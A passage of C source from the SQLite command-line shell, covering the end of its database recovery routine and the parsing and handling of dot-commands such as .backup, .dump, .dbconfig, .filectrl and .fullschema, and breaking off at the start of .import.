raw_printf(pState->out, "BEGIN;\n");
raw_printf(pState->out, "PRAGMA writable_schema = on;\n");
shellPrepare(pState->db, &rc,
"SELECT sql FROM recovery.schema "
"WHERE type='table' AND sql LIKE 'create table%'", &pStmt
);
while( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pStmt) ){
const char *zCreateTable = (const char*)sqlite3_column_text(pStmt, 0);
raw_printf(pState->out, "CREATE TABLE IF NOT EXISTS %s;\n",
&zCreateTable[12]
);
}
shellFinalize(&rc, pStmt);
}
/* Figure out if an orphan table will be required. And if so, how many
** user columns it should contain */
shellPrepare(pState->db, &rc,
"SELECT coalesce(max(maxlen), -2) FROM recovery.map WHERE root>1"
, &pLoop
);
if( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pLoop) ){
nOrphan = sqlite3_column_int(pLoop, 0);
}
shellFinalize(&rc, pLoop);
pLoop = 0;
shellPrepare(pState->db, &rc,
"SELECT pgno FROM recovery.map WHERE root=?", &pPages
);
shellPrepare(pState->db, &rc,
"SELECT max(field), group_concat(shell_escape_crnl(quote"
"(case when (? AND field<0) then NULL else value end)"
"), ', ')"
", min(field) "
"FROM sqlite_dbdata WHERE pgno = ? AND field != ?"
"GROUP BY cell", &pCells
);
/* Loop through each root page. */
shellPrepare(pState->db, &rc,
"SELECT root, intkey, max(maxlen) FROM recovery.map"
" WHERE root>1 GROUP BY root, intkey ORDER BY root=("
" SELECT rootpage FROM recovery.schema WHERE name='sqlite_sequence'"
")", &pLoop
);
while( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pLoop) ){
int iRoot = sqlite3_column_int(pLoop, 0);
int bIntkey = sqlite3_column_int(pLoop, 1);
int nCol = sqlite3_column_int(pLoop, 2);
int bNoop = 0;
RecoverTable *pTab;
assert( bIntkey==0 || bIntkey==1 );
pTab = recoverFindTable(pState, &rc, iRoot, bIntkey, nCol, &bNoop);
if( bNoop || rc ) continue;
if( pTab==0 ){
if( pOrphan==0 ){
pOrphan = recoverOrphanTable(pState, &rc, zLostAndFound, nOrphan);
}
pTab = pOrphan;
if( pTab==0 ) break;
}
if( 0==sqlite3_stricmp(pTab->zQuoted, "\"sqlite_sequence\"") ){
raw_printf(pState->out, "DELETE FROM sqlite_sequence;\n");
}
sqlite3_bind_int(pPages, 1, iRoot);
if( bRowids==0 && pTab->iPk<0 ){
sqlite3_bind_int(pCells, 1, 1);
}else{
sqlite3_bind_int(pCells, 1, 0);
}
sqlite3_bind_int(pCells, 3, pTab->iPk);
while( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pPages) ){
int iPgno = sqlite3_column_int(pPages, 0);
sqlite3_bind_int(pCells, 2, iPgno);
while( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pCells) ){
int nField = sqlite3_column_int(pCells, 0);
int iMin = sqlite3_column_int(pCells, 2);
const char *zVal = (const char*)sqlite3_column_text(pCells, 1);
RecoverTable *pTab2 = pTab;
if( pTab!=pOrphan && (iMin<0)!=bIntkey ){
if( pOrphan==0 ){
pOrphan = recoverOrphanTable(pState, &rc, zLostAndFound, nOrphan);
}
pTab2 = pOrphan;
if( pTab2==0 ) break;
}
nField = nField+1;
if( pTab2==pOrphan ){
raw_printf(pState->out,
"INSERT INTO %s VALUES(%d, %d, %d, %s%s%s);\n",
pTab2->zQuoted, iRoot, iPgno, nField,
iMin<0 ? "" : "NULL, ", zVal, pTab2->azlCol[nField]
);
}else{
raw_printf(pState->out, "INSERT INTO %s(%s) VALUES( %s );\n",
pTab2->zQuoted, pTab2->azlCol[nField], zVal
);
}
}
shellReset(&rc, pCells);
}
shellReset(&rc, pPages);
if( pTab!=pOrphan ) recoverFreeTable(pTab);
}
shellFinalize(&rc, pLoop);
shellFinalize(&rc, pPages);
shellFinalize(&rc, pCells);
recoverFreeTable(pOrphan);
/* The rest of the schema */
if( rc==SQLITE_OK ){
sqlite3_stmt *pStmt = 0;
shellPrepare(pState->db, &rc,
"SELECT sql, name FROM recovery.schema "
"WHERE sql NOT LIKE 'create table%'", &pStmt
);
while( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pStmt) ){
const char *zSql = (const char*)sqlite3_column_text(pStmt, 0);
if( sqlite3_strnicmp(zSql, "create virt", 11)==0 ){
const char *zName = (const char*)sqlite3_column_text(pStmt, 1);
char *zPrint = shellMPrintf(&rc,
"INSERT INTO sqlite_schema VALUES('table', %Q, %Q, 0, %Q)",
zName, zName, zSql
);
raw_printf(pState->out, "%s;\n", zPrint);
sqlite3_free(zPrint);
}else{
raw_printf(pState->out, "%s;\n", zSql);
}
}
shellFinalize(&rc, pStmt);
}
if( rc==SQLITE_OK ){
raw_printf(pState->out, "PRAGMA writable_schema = off;\n");
raw_printf(pState->out, "COMMIT;\n");
}
sqlite3_exec(pState->db, "DETACH recovery", 0, 0, 0);
return rc;
}
#endif /* !(SQLITE_OMIT_VIRTUALTABLE) && defined(SQLITE_ENABLE_DBPAGE_VTAB) */
/*
** If an input line begins with "." then invoke this routine to
** process that line.
**
** Return 1 on error, 2 to exit, and 0 otherwise.
*/
static int do_meta_command(char *zLine, ShellState *p){
int h = 1;
int nArg = 0;
int n, c;
int rc = 0;
char *azArg[52];
#ifndef SQLITE_OMIT_VIRTUALTABLE
if( p->expert.pExpert ){
expertFinish(p, 1, 0);
}
#endif
/* Parse the input line into tokens.
*/
while( zLine[h] && nArg<ArraySize(azArg)-1 ){
while( IsSpace(zLine[h]) ){ h++; }
if( zLine[h]==0 ) break;
if( zLine[h]=='\'' || zLine[h]=='"' ){
int delim = zLine[h++];
azArg[nArg++] = &zLine[h];
while( zLine[h] && zLine[h]!=delim ){
if( zLine[h]=='\\' && delim=='"' && zLine[h+1]!=0 ) h++;
h++;
}
if( zLine[h]==delim ){
zLine[h++] = 0;
}
if( delim=='"' ) resolve_backslashes(azArg[nArg-1]);
}else{
azArg[nArg++] = &zLine[h];
while( zLine[h] && !IsSpace(zLine[h]) ){ h++; }
if( zLine[h] ) zLine[h++] = 0;
resolve_backslashes(azArg[nArg-1]);
}
}
azArg[nArg] = 0;
/* Process the input line.
*/
if( nArg==0 ) return 0; /* no tokens, no error */
n = strlen30(azArg[0]);
c = azArg[0][0];
clearTempFile(p);
#ifndef SQLITE_OMIT_AUTHORIZATION
if( c=='a' && strncmp(azArg[0], "auth", n)==0 ){
if( nArg!=2 ){
raw_printf(stderr, "Usage: .auth ON|OFF\n");
rc = 1;
goto meta_command_exit;
}
open_db(p, 0);
if( booleanValue(azArg[1]) ){
sqlite3_set_authorizer(p->db, shellAuth, p);
}else{
sqlite3_set_authorizer(p->db, 0, 0);
}
}else
#endif
#if !defined(SQLITE_OMIT_VIRTUALTABLE) && defined(SQLITE_HAVE_ZLIB)
if( c=='a' && strncmp(azArg[0], "archive", n)==0 ){
open_db(p, 0);
rc = arDotCommand(p, 0, azArg, nArg);
}else
#endif
if( (c=='b' && n>=3 && strncmp(azArg[0], "backup", n)==0)
|| (c=='s' && n>=3 && strncmp(azArg[0], "save", n)==0)
){
const char *zDestFile = 0;
const char *zDb = 0;
sqlite3 *pDest;
sqlite3_backup *pBackup;
int j;
int bAsync = 0;
const char *zVfs = 0;
for(j=1; j<nArg; j++){
const char *z = azArg[j];
if( z[0]=='-' ){
if( z[1]=='-' ) z++;
if( strcmp(z, "-append")==0 ){
zVfs = "apndvfs";
}else
if( strcmp(z, "-async")==0 ){
bAsync = 1;
}else
{
utf8_printf(stderr, "unknown option: %s\n", azArg[j]);
return 1;
}
}else if( zDestFile==0 ){
zDestFile = azArg[j];
}else if( zDb==0 ){
zDb = zDestFile;
zDestFile = azArg[j];
}else{
raw_printf(stderr, "Usage: .backup ?DB? ?OPTIONS? FILENAME\n");
return 1;
}
}
if( zDestFile==0 ){
raw_printf(stderr, "missing FILENAME argument on .backup\n");
return 1;
}
if( zDb==0 ) zDb = "main";
rc = sqlite3_open_v2(zDestFile, &pDest,
SQLITE_OPEN_READWRITE|SQLITE_OPEN_CREATE, zVfs);
if( rc!=SQLITE_OK ){
utf8_printf(stderr, "Error: cannot open \"%s\"\n", zDestFile);
close_db(pDest);
return 1;
}
if( bAsync ){
sqlite3_exec(pDest, "PRAGMA synchronous=OFF; PRAGMA journal_mode=OFF;",
0, 0, 0);
}
open_db(p, 0);
pBackup = sqlite3_backup_init(pDest, "main", p->db, zDb);
if( pBackup==0 ){
utf8_printf(stderr, "Error: %s\n", sqlite3_errmsg(pDest));
close_db(pDest);
return 1;
}
while( (rc = sqlite3_backup_step(pBackup,100))==SQLITE_OK ){}
sqlite3_backup_finish(pBackup);
if( rc==SQLITE_DONE ){
rc = 0;
}else{
utf8_printf(stderr, "Error: %s\n", sqlite3_errmsg(pDest));
rc = 1;
}
close_db(pDest);
}else
if( c=='b' && n>=3 && strncmp(azArg[0], "bail", n)==0 ){
if( nArg==2 ){
bail_on_error = booleanValue(azArg[1]);
}else{
raw_printf(stderr, "Usage: .bail on|off\n");
rc = 1;
}
}else
if( c=='b' && n>=3 && strncmp(azArg[0], "binary", n)==0 ){
if( nArg==2 ){
if( booleanValue(azArg[1]) ){
setBinaryMode(p->out, 1);
}else{
setTextMode(p->out, 1);
}
}else{
raw_printf(stderr, "Usage: .binary on|off\n");
rc = 1;
}
}else
if( c=='c' && strcmp(azArg[0],"cd")==0 ){
if( nArg==2 ){
#if defined(_WIN32) || defined(WIN32)
wchar_t *z = sqlite3_win32_utf8_to_unicode(azArg[1]);
rc = !SetCurrentDirectoryW(z);
sqlite3_free(z);
#else
rc = chdir(azArg[1]);
#endif
if( rc ){
utf8_printf(stderr, "Cannot change to directory \"%s\"\n", azArg[1]);
rc = 1;
}
}else{
raw_printf(stderr, "Usage: .cd DIRECTORY\n");
rc = 1;
}
}else
/* The undocumented ".breakpoint" command causes a call to the no-op
** routine named test_breakpoint().
*/
if( c=='b' && n>=3 && strncmp(azArg[0], "breakpoint", n)==0 ){
test_breakpoint();
}else
if( c=='c' && n>=3 && strncmp(azArg[0], "changes", n)==0 ){
if( nArg==2 ){
setOrClearFlag(p, SHFLG_CountChanges, azArg[1]);
}else{
raw_printf(stderr, "Usage: .changes on|off\n");
rc = 1;
}
}else
/* Cancel output redirection, if it is currently set (by .testcase)
** Then read the content of the testcase-out.txt file and compare against
** azArg[1]. If there are differences, report an error and exit.
*/
if( c=='c' && n>=3 && strncmp(azArg[0], "check", n)==0 ){
char *zRes = 0;
output_reset(p);
if( nArg!=2 ){
raw_printf(stderr, "Usage: .check GLOB-PATTERN\n");
rc = 2;
}else if( (zRes = readFile("testcase-out.txt", 0))==0 ){
raw_printf(stderr, "Error: cannot read 'testcase-out.txt'\n");
rc = 2;
}else if( testcase_glob(azArg[1],zRes)==0 ){
utf8_printf(stderr,
"testcase-%s FAILED\n Expected: [%s]\n Got: [%s]\n",
p->zTestcase, azArg[1], zRes);
rc = 1;
}else{
utf8_printf(stdout, "testcase-%s ok\n", p->zTestcase);
p->nCheck++;
}
sqlite3_free(zRes);
}else
if( c=='c' && strncmp(azArg[0], "clone", n)==0 ){
if( nArg==2 ){
tryToClone(p, azArg[1]);
}else{
raw_printf(stderr, "Usage: .clone FILENAME\n");
rc = 1;
}
}else
if( c=='d' && n>1 && strncmp(azArg[0], "databases", n)==0 ){
char **azName = 0;
int nName = 0;
sqlite3_stmt *pStmt;
int i;
open_db(p, 0);
rc = sqlite3_prepare_v2(p->db, "PRAGMA database_list", -1, &pStmt, 0);
if( rc ){
utf8_printf(stderr, "Error: %s\n", sqlite3_errmsg(p->db));
rc = 1;
}else{
while( sqlite3_step(pStmt)==SQLITE_ROW ){
const char *zSchema = (const char *)sqlite3_column_text(pStmt,1);
const char *zFile = (const char*)sqlite3_column_text(pStmt,2);
azName = sqlite3_realloc(azName, (nName+1)*2*sizeof(char*));
if( azName==0 ){ shell_out_of_memory(); /* Does not return */ }
azName[nName*2] = strdup(zSchema);
azName[nName*2+1] = strdup(zFile);
nName++;
}
}
sqlite3_finalize(pStmt);
for(i=0; i<nName; i++){
int eTxn = sqlite3_txn_state(p->db, azName[i*2]);
int bRdonly = sqlite3_db_readonly(p->db, azName[i*2]);
const char *z = azName[i*2+1];
utf8_printf(p->out, "%s: %s %s%s\n",
azName[i*2],
z && z[0] ? z : "\"\"",
bRdonly ? "r/o" : "r/w",
eTxn==SQLITE_TXN_NONE ? "" :
eTxn==SQLITE_TXN_READ ? " read-txn" : " write-txn");
free(azName[i*2]);
free(azName[i*2+1]);
}
sqlite3_free(azName);
}else
if( c=='d' && n>=3 && strncmp(azArg[0], "dbconfig", n)==0 ){
static const struct DbConfigChoices {
const char *zName;
int op;
} aDbConfig[] = {
{ "defensive", SQLITE_DBCONFIG_DEFENSIVE },
{ "dqs_ddl", SQLITE_DBCONFIG_DQS_DDL },
{ "dqs_dml", SQLITE_DBCONFIG_DQS_DML },
{ "enable_fkey", SQLITE_DBCONFIG_ENABLE_FKEY },
{ "enable_qpsg", SQLITE_DBCONFIG_ENABLE_QPSG },
{ "enable_trigger", SQLITE_DBCONFIG_ENABLE_TRIGGER },
{ "enable_view", SQLITE_DBCONFIG_ENABLE_VIEW },
{ "fts3_tokenizer", SQLITE_DBCONFIG_ENABLE_FTS3_TOKENIZER },
{ "legacy_alter_table", SQLITE_DBCONFIG_LEGACY_ALTER_TABLE },
{ "legacy_file_format", SQLITE_DBCONFIG_LEGACY_FILE_FORMAT },
{ "load_extension", SQLITE_DBCONFIG_ENABLE_LOAD_EXTENSION },
{ "no_ckpt_on_close", SQLITE_DBCONFIG_NO_CKPT_ON_CLOSE },
{ "reset_database", SQLITE_DBCONFIG_RESET_DATABASE },
{ "trigger_eqp", SQLITE_DBCONFIG_TRIGGER_EQP },
{ "trusted_schema", SQLITE_DBCONFIG_TRUSTED_SCHEMA },
{ "writable_schema", SQLITE_DBCONFIG_WRITABLE_SCHEMA },
};
int ii, v;
open_db(p, 0);
for(ii=0; ii<ArraySize(aDbConfig); ii++){
if( nArg>1 && strcmp(azArg[1], aDbConfig[ii].zName)!=0 ) continue;
if( nArg>=3 ){
sqlite3_db_config(p->db, aDbConfig[ii].op, booleanValue(azArg[2]), 0);
}
sqlite3_db_config(p->db, aDbConfig[ii].op, -1, &v);
utf8_printf(p->out, "%19s %s\n", aDbConfig[ii].zName, v ? "on" : "off");
if( nArg>1 ) break;
}
if( nArg>1 && ii==ArraySize(aDbConfig) ){
utf8_printf(stderr, "Error: unknown dbconfig \"%s\"\n", azArg[1]);
utf8_printf(stderr, "Enter \".dbconfig\" with no arguments for a list\n");
}
}else
if( c=='d' && n>=3 && strncmp(azArg[0], "dbinfo", n)==0 ){
rc = shell_dbinfo_command(p, nArg, azArg);
}else
#if !defined(SQLITE_OMIT_VIRTUALTABLE) && defined(SQLITE_ENABLE_DBPAGE_VTAB)
if( c=='r' && strncmp(azArg[0], "recover", n)==0 ){
open_db(p, 0);
rc = recoverDatabaseCmd(p, nArg, azArg);
}else
#endif /* !(SQLITE_OMIT_VIRTUALTABLE) && defined(SQLITE_ENABLE_DBPAGE_VTAB) */
if( c=='d' && strncmp(azArg[0], "dump", n)==0 ){
char *zLike = 0;
char *zSql;
int i;
int savedShowHeader = p->showHeader;
int savedShellFlags = p->shellFlgs;
ShellClearFlag(p,
SHFLG_PreserveRowid|SHFLG_Newlines|SHFLG_Echo
|SHFLG_DumpDataOnly|SHFLG_DumpNoSys);
for(i=1; i<nArg; i++){
if( azArg[i][0]=='-' ){
const char *z = azArg[i]+1;
if( z[0]=='-' ) z++;
if( strcmp(z,"preserve-rowids")==0 ){
#ifdef SQLITE_OMIT_VIRTUALTABLE
raw_printf(stderr, "The --preserve-rowids option is not compatible"
" with SQLITE_OMIT_VIRTUALTABLE\n");
rc = 1;
sqlite3_free(zLike);
goto meta_command_exit;
#else
ShellSetFlag(p, SHFLG_PreserveRowid);
#endif
}else
if( strcmp(z,"newlines")==0 ){
ShellSetFlag(p, SHFLG_Newlines);
}else
if( strcmp(z,"data-only")==0 ){
ShellSetFlag(p, SHFLG_DumpDataOnly);
}else
if( strcmp(z,"nosys")==0 ){
ShellSetFlag(p, SHFLG_DumpNoSys);
}else
{
raw_printf(stderr, "Unknown option \"%s\" on \".dump\"\n", azArg[i]);
rc = 1;
sqlite3_free(zLike);
goto meta_command_exit;
}
}else{
/* azArg[i] contains a LIKE pattern. This ".dump" request should
** only dump data for tables for which either the table name matches
** the LIKE pattern, or the table appears to be a shadow table of
** a virtual table for which the name matches the LIKE pattern.
*/
char *zExpr = sqlite3_mprintf(
"name LIKE %Q ESCAPE '\\' OR EXISTS ("
" SELECT 1 FROM sqlite_schema WHERE "
" name LIKE %Q ESCAPE '\\' AND"
" sql LIKE 'CREATE VIRTUAL TABLE%%' AND"
" substr(o.name, 1, length(name)+1) == (name||'_')"
")", azArg[i], azArg[i]
);
if( zLike ){
zLike = sqlite3_mprintf("%z OR %z", zLike, zExpr);
}else{
zLike = zExpr;
}
}
}
open_db(p, 0);
if( (p->shellFlgs & SHFLG_DumpDataOnly)==0 ){
/* When playing back a "dump", the content might appear in an order
** which causes immediate foreign key constraints to be violated.
** So disable foreign-key constraint enforcement to prevent problems. */
raw_printf(p->out, "PRAGMA foreign_keys=OFF;\n");
raw_printf(p->out, "BEGIN TRANSACTION;\n");
}
p->writableSchema = 0;
p->showHeader = 0;
/* Set writable_schema=ON since doing so forces SQLite to initialize
** as much of the schema as it can even if the sqlite_schema table is
** corrupt. */
sqlite3_exec(p->db, "SAVEPOINT dump; PRAGMA writable_schema=ON", 0, 0, 0);
p->nErr = 0;
if( zLike==0 ) zLike = sqlite3_mprintf("true");
zSql = sqlite3_mprintf(
"SELECT name, type, sql FROM sqlite_schema AS o "
"WHERE (%s) AND type=='table'"
" AND sql NOT NULL"
" ORDER BY tbl_name='sqlite_sequence', rowid",
zLike
);
run_schema_dump_query(p,zSql);
sqlite3_free(zSql);
if( (p->shellFlgs & SHFLG_DumpDataOnly)==0 ){
zSql = sqlite3_mprintf(
"SELECT sql FROM sqlite_schema AS o "
"WHERE (%s) AND sql NOT NULL"
" AND type IN ('index','trigger','view')",
zLike
);
run_table_dump_query(p, zSql);
sqlite3_free(zSql);
}
sqlite3_free(zLike);
if( p->writableSchema ){
raw_printf(p->out, "PRAGMA writable_schema=OFF;\n");
p->writableSchema = 0;
}
sqlite3_exec(p->db, "PRAGMA writable_schema=OFF;", 0, 0, 0);
sqlite3_exec(p->db, "RELEASE dump;", 0, 0, 0);
if( (p->shellFlgs & SHFLG_DumpDataOnly)==0 ){
raw_printf(p->out, p->nErr?"ROLLBACK; -- due to errors\n":"COMMIT;\n");
}
p->showHeader = savedShowHeader;
p->shellFlgs = savedShellFlags;
}else
if( c=='e' && strncmp(azArg[0], "echo", n)==0 ){
if( nArg==2 ){
setOrClearFlag(p, SHFLG_Echo, azArg[1]);
}else{
raw_printf(stderr, "Usage: .echo on|off\n");
rc = 1;
}
}else
if( c=='e' && strncmp(azArg[0], "eqp", n)==0 ){
if( nArg==2 ){
p->autoEQPtest = 0;
if( p->autoEQPtrace ){
if( p->db ) sqlite3_exec(p->db, "PRAGMA vdbe_trace=OFF;", 0, 0, 0);
p->autoEQPtrace = 0;
}
if( strcmp(azArg[1],"full")==0 ){
p->autoEQP = AUTOEQP_full;
}else if( strcmp(azArg[1],"trigger")==0 ){
p->autoEQP = AUTOEQP_trigger;
#ifdef SQLITE_DEBUG
}else if( strcmp(azArg[1],"test")==0 ){
p->autoEQP = AUTOEQP_on;
p->autoEQPtest = 1;
}else if( strcmp(azArg[1],"trace")==0 ){
p->autoEQP = AUTOEQP_full;
p->autoEQPtrace = 1;
open_db(p, 0);
sqlite3_exec(p->db, "SELECT name FROM sqlite_schema LIMIT 1", 0, 0, 0);
sqlite3_exec(p->db, "PRAGMA vdbe_trace=ON;", 0, 0, 0);
#endif
}else{
p->autoEQP = (u8)booleanValue(azArg[1]);
}
}else{
raw_printf(stderr, "Usage: .eqp off|on|trace|trigger|full\n");
rc = 1;
}
}else
if( c=='e' && strncmp(azArg[0], "exit", n)==0 ){
if( nArg>1 && (rc = (int)integerValue(azArg[1]))!=0 ) exit(rc);
rc = 2;
}else
/* The ".explain" command is automatic now. It is largely pointless. It
** retained purely for backwards compatibility */
if( c=='e' && strncmp(azArg[0], "explain", n)==0 ){
int val = 1;
if( nArg>=2 ){
if( strcmp(azArg[1],"auto")==0 ){
val = 99;
}else{
val = booleanValue(azArg[1]);
}
}
if( val==1 && p->mode!=MODE_Explain ){
p->normalMode = p->mode;
p->mode = MODE_Explain;
p->autoExplain = 0;
}else if( val==0 ){
if( p->mode==MODE_Explain ) p->mode = p->normalMode;
p->autoExplain = 0;
}else if( val==99 ){
if( p->mode==MODE_Explain ) p->mode = p->normalMode;
p->autoExplain = 1;
}
}else
#ifndef SQLITE_OMIT_VIRTUALTABLE
if( c=='e' && strncmp(azArg[0], "expert", n)==0 ){
open_db(p, 0);
expertDotCommand(p, azArg, nArg);
}else
#endif
if( c=='f' && strncmp(azArg[0], "filectrl", n)==0 ){
static const struct {
const char *zCtrlName; /* Name of a test-control option */
int ctrlCode; /* Integer code for that option */
const char *zUsage; /* Usage notes */
} aCtrl[] = {
{ "chunk_size", SQLITE_FCNTL_CHUNK_SIZE, "SIZE" },
{ "data_version", SQLITE_FCNTL_DATA_VERSION, "" },
{ "has_moved", SQLITE_FCNTL_HAS_MOVED, "" },
{ "lock_timeout", SQLITE_FCNTL_LOCK_TIMEOUT, "MILLISEC" },
{ "persist_wal", SQLITE_FCNTL_PERSIST_WAL, "[BOOLEAN]" },
/* { "pragma", SQLITE_FCNTL_PRAGMA, "NAME ARG" },*/
{ "psow", SQLITE_FCNTL_POWERSAFE_OVERWRITE, "[BOOLEAN]" },
{ "reserve_bytes", SQLITE_FCNTL_RESERVE_BYTES, "[N]" },
{ "size_limit", SQLITE_FCNTL_SIZE_LIMIT, "[LIMIT]" },
{ "tempfilename", SQLITE_FCNTL_TEMPFILENAME, "" },
/* { "win32_av_retry", SQLITE_FCNTL_WIN32_AV_RETRY, "COUNT DELAY" },*/
};
int filectrl = -1;
int iCtrl = -1;
sqlite3_int64 iRes = 0; /* Integer result to display if rc2==1 */
int isOk = 0; /* 0: usage 1: %lld 2: no-result */
int n2, i;
const char *zCmd = 0;
const char *zSchema = 0;
open_db(p, 0);
zCmd = nArg>=2 ? azArg[1] : "help";
if( zCmd[0]=='-'
&& (strcmp(zCmd,"--schema")==0 || strcmp(zCmd,"-schema")==0)
&& nArg>=4
){
zSchema = azArg[2];
for(i=3; i<nArg; i++) azArg[i-2] = azArg[i];
nArg -= 2;
zCmd = azArg[1];
}
/* The argument can optionally begin with "-" or "--" */
if( zCmd[0]=='-' && zCmd[1] ){
zCmd++;
if( zCmd[0]=='-' && zCmd[1] ) zCmd++;
}
/* --help lists all file-controls */
if( strcmp(zCmd,"help")==0 ){
utf8_printf(p->out, "Available file-controls:\n");
for(i=0; i<ArraySize(aCtrl); i++){
utf8_printf(p->out, " .filectrl %s %s\n",
aCtrl[i].zCtrlName, aCtrl[i].zUsage);
}
rc = 1;
goto meta_command_exit;
}
/* convert filectrl text option to value. allow any unique prefix
** of the option name, or a numerical value. */
n2 = strlen30(zCmd);
for(i=0; i<ArraySize(aCtrl); i++){
if( strncmp(zCmd, aCtrl[i].zCtrlName, n2)==0 ){
if( filectrl<0 ){
filectrl = aCtrl[i].ctrlCode;
iCtrl = i;
}else{
utf8_printf(stderr, "Error: ambiguous file-control: \"%s\"\n"
"Use \".filectrl --help\" for help\n", zCmd);
rc = 1;
goto meta_command_exit;
}
}
}
if( filectrl<0 ){
utf8_printf(stderr,"Error: unknown file-control: %s\n"
"Use \".filectrl --help\" for help\n", zCmd);
}else{
switch(filectrl){
case SQLITE_FCNTL_SIZE_LIMIT: {
if( nArg!=2 && nArg!=3 ) break;
iRes = nArg==3 ? integerValue(azArg[2]) : -1;
sqlite3_file_control(p->db, zSchema, SQLITE_FCNTL_SIZE_LIMIT, &iRes);
isOk = 1;
break;
}
case SQLITE_FCNTL_LOCK_TIMEOUT:
case SQLITE_FCNTL_CHUNK_SIZE: {
int x;
if( nArg!=3 ) break;
x = (int)integerValue(azArg[2]);
sqlite3_file_control(p->db, zSchema, filectrl, &x);
isOk = 2;
break;
}
case SQLITE_FCNTL_PERSIST_WAL:
case SQLITE_FCNTL_POWERSAFE_OVERWRITE: {
int x;
if( nArg!=2 && nArg!=3 ) break;
x = nArg==3 ? booleanValue(azArg[2]) : -1;
sqlite3_file_control(p->db, zSchema, filectrl, &x);
iRes = x;
isOk = 1;
break;
}
case SQLITE_FCNTL_DATA_VERSION:
case SQLITE_FCNTL_HAS_MOVED: {
int x;
if( nArg!=2 ) break;
sqlite3_file_control(p->db, zSchema, filectrl, &x);
iRes = x;
isOk = 1;
break;
}
case SQLITE_FCNTL_TEMPFILENAME: {
char *z = 0;
if( nArg!=2 ) break;
sqlite3_file_control(p->db, zSchema, filectrl, &z);
if( z ){
utf8_printf(p->out, "%s\n", z);
sqlite3_free(z);
}
isOk = 2;
break;
}
case SQLITE_FCNTL_RESERVE_BYTES: {
int x;
if( nArg>=3 ){
x = atoi(azArg[2]);
sqlite3_file_control(p->db, zSchema, filectrl, &x);
}
x = -1;
sqlite3_file_control(p->db, zSchema, filectrl, &x);
utf8_printf(p->out,"%d\n", x);
isOk = 2;
break;
}
}
}
if( isOk==0 && iCtrl>=0 ){
utf8_printf(p->out, "Usage: .filectrl %s %s\n", zCmd,aCtrl[iCtrl].zUsage);
rc = 1;
}else if( isOk==1 ){
char zBuf[100];
sqlite3_snprintf(sizeof(zBuf), zBuf, "%lld", iRes);
raw_printf(p->out, "%s\n", zBuf);
}
}else
if( c=='f' && strncmp(azArg[0], "fullschema", n)==0 ){
ShellState data;
int doStats = 0;
memcpy(&data, p, sizeof(data));
data.showHeader = 0;
data.cMode = data.mode = MODE_Semi;
if( nArg==2 && optionMatch(azArg[1], "indent") ){
data.cMode = data.mode = MODE_Pretty;
nArg = 1;
}
if( nArg!=1 ){
raw_printf(stderr, "Usage: .fullschema ?--indent?\n");
rc = 1;
goto meta_command_exit;
}
open_db(p, 0);
rc = sqlite3_exec(p->db,
"SELECT sql FROM"
" (SELECT sql sql, type type, tbl_name tbl_name, name name, rowid x"
" FROM sqlite_schema UNION ALL"
" SELECT sql, type, tbl_name, name, rowid FROM sqlite_temp_schema) "
"WHERE type!='meta' AND sql NOTNULL AND name NOT LIKE 'sqlite_%' "
"ORDER BY rowid",
callback, &data, 0
);
if( rc==SQLITE_OK ){
sqlite3_stmt *pStmt;
rc = sqlite3_prepare_v2(p->db,
"SELECT rowid FROM sqlite_schema"
" WHERE name GLOB 'sqlite_stat[134]'",
-1, &pStmt, 0);
doStats = sqlite3_step(pStmt)==SQLITE_ROW;
sqlite3_finalize(pStmt);
}
if( doStats==0 ){
raw_printf(p->out, "/* No STAT tables available */\n");
}else{
raw_printf(p->out, "ANALYZE sqlite_schema;\n");
sqlite3_exec(p->db, "SELECT 'ANALYZE sqlite_schema'",
callback, &data, 0);
data.cMode = data.mode = MODE_Insert;
data.zDestTable = "sqlite_stat1";
shell_exec(&data, "SELECT * FROM sqlite_stat1", 0);
data.zDestTable = "sqlite_stat4";
shell_exec(&data, "SELECT * FROM sqlite_stat4", 0);
raw_printf(p->out, "ANALYZE sqlite_schema;\n");
}
}else
if( c=='h' && strncmp(azArg[0], "headers", n)==0 ){
if( nArg==2 ){
p->showHeader = booleanValue(azArg[1]);
p->shellFlgs |= SHFLG_HeaderSet;
}else{
raw_printf(stderr, "Usage: .headers on|off\n");
rc = 1;
}
}else
if( c=='h' && strncmp(azArg[0], "help", n)==0 ){
if( nArg>=2 ){
n = showHelp(p->out, azArg[1]);
if( n==0 ){
utf8_printf(p->out, "Nothing matches '%s'\n", azArg[1]);
}
}else{
showHelp(p->out, 0);
}
}else
if( c=='i' && strncmp(azArg[0], "import", n)==0 ){
char *zTable = 0; /* Insert data into this table */
char *zFile = 0; /* Name of file to extra content from */
sqlite3_stmt *pStmt = NULL; /* A statement */
int nCol; /* Number of columns in the table */
int nByte; /* Number of bytes in an SQL string */
int i, j; /* Loop counters */
int needCommit; /* True to COMMIT or ROLLBACK at end */
int nSep; /* Number of bytes in p->colSeparator[] */
char *zSql; /* An SQL statement */
ImportCtx sCtx; /* Reader context */
char *(SQLITE_CDECL *xRead)(ImportCtx*); /* Func to read one value */
int eVerbose = 0; /* Larger for more console output */
int nSkip = 0; /* Initial lines to skip */
int useOutputMode = 1; /* Use output mode to determine separators */
memset(&sCtx, 0, sizeof(sCtx));
if( p->mode==MODE_Ascii ){
xRead = ascii_read_one_field;
}else{
xRead = csv_read_one_field;
}
for(i=1; i<nArg; i++){
char *z = azArg[i];
if( z[0]=='-' && z[1]=='-' ) z++;
if( z[0]!='-' ){
if( zFile==0 ){
zFile = z;
}else if( zTable==0 ){
zTable = z;
}else{
utf8_printf(p->out, "ERROR: extra argument: \"%s\". Usage:\n", z);
showHelp(p->out, "import");
rc = 1;
goto meta_command_exit;
}
}else if( strcmp(z,"-v")==0 ){
eVerbose++;
}else if( strcmp(z,"-skip")==0 && i<nArg-1 ){
nSkip = integerValue(azArg[++i]);
}else if( strcmp(z,"-ascii")==0 ){
sCtx.cColSep = SEP_Unit[0];
sCtx.cRowSep = SEP_Record[0];
xRead = ascii_read_one_field;
useOutputMode = 0;
}else if( strcmp(z,"-csv")==0 ){
sCtx.cColSep = ',';
sCtx.cRowSep = '\n';
xRead = csv_read_one_field;
useOutputMode = 0;
}else{
utf8_printf(p->out, "ERROR: unknown option: \"%s\". Usage:\n", z);
showHelp(p->out, "import");
rc = 1;
goto meta_command_exit;
}
}
if( zTable==0 ){
